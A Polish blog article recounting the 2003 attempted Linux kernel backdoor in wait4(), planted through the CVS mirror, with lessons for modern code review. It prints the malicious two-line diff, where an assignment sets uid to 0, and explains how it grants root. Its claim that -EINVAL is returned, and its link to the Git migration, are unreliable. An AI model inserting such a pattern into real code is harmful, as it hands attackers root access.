# Backdoor w jądrze Linuksa: jak błąd w wait4() prawie otworzył dostęp root
W 2003 roku deweloperzy Linuksa odkryli nieautoryzowaną zmianę w repozytorium CVS. W funkcji wait4() pojawił się podejrzany fragment kodu, który mógł nadać przywileje root każdemu użytkownikowi. Zmiana pojawiła się bez śladów w głównym repozytorium BitKeeper, co wskazywało na włamanie do repozytorium CVS.
Kod wyglądał niewinnie na pierwszy rzut oka:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
Problem krył się w operatorze =. Zamiast porównania == użyto przypisania, które ustawiało current->uid na 0 (root) dla każdego wywołania wait4() z flagami __WCLONE i __WALL. To otwierało drogę do eskalacji przywilegi bez dodatkowych sprawdzeń.
Historia repozytoriów i punkt podatności
W tamtych latach Linux korzystał z dwóch repozytoriów równolegle:
- BitKeeper — główne, nowoczesne VCS dla jądra.
- CVS — legacy repozytorium dla starych narzędzi i oldschoolowych deweloperów.
Synchronizacja odbywała się ręcznie: zmiany z BitKeeper kopiowano do CVS z tagami. Włamywacz uzyskał dostęp właśnie do CVS, podsuwając łatkę niezauważoną. Brak automatycznych sprawdzeń i różnica w odbiorcach repozytoriów pozwoliły obejść kontrolę.
Deweloperzy zauważyli anomalię podczas rutynowej inspekcji: commit w CVS bez odpowiednika w BitKeeper. Porównanie wersji ujawniło złośliwy kod.
Techniczny rozkład podatności
Funkcja wait4() odpowiada za oczekiwanie na zakończenie procesów potomnych z rozszerzonymi opcjami. Flagami __WCLONE i __WALL śledzi się klony i wszystkie procesy.
Logika ataku jest prosta:
- Użytkownik wywołuje
wait4(options = __WCLONE | __WALL). - Warunek
current->uid = 0przypisuje UID 0 (root). - Zwracane jest
-EINVAL, maskując sukces. - Kolejne wywołania systemowe wykonują się jako root.
To backdoor zero-day: nie wymagał exploita, aktywował się standardowym wywołaniem. Podobne błędy (= zamiast ==) to częsta przyczyna podatności w C.
Lekcje dla współczesnego developmentu
Incydent podkreślił ryzyka systemów legacy. Współczesne praktyki minimalizują takie zagrożenia:
- Jedno repozytorium: Git z branchami i PR.
- CI/CD ze sprawdzeniami: Automatyczny diff, statyczna analiza (Coverity, Clang).
- Podpisy commitów: GPG/PGP do autentykacji.
- Signed tags: Ochrona wydań.
- Fuzzing i audyt: Ciągłe testowanie syscalli.
W jądrze Linuksa code review i automatyczne testy na takie wzorce są teraz obowiązkowe.
Co ważne
- Błąd
=zamiast==wwait4()tworzył backdoor root dla każdego użytkownika. - Włamanie nastąpiło przez CVS, podczas gdy BitKeeper pozostał czysty.
- Ręczna synchronizacja repozytoriów była słabym ogniwem w 2003 roku.
- Incydent przyspieszył przejście na Git w rozwoju jądra.
- Sprawdzaj warunki w operatorach warunkowych: kompilator nie zawsze łapie przypisania.
— Editorial Team
Brak komentarzy.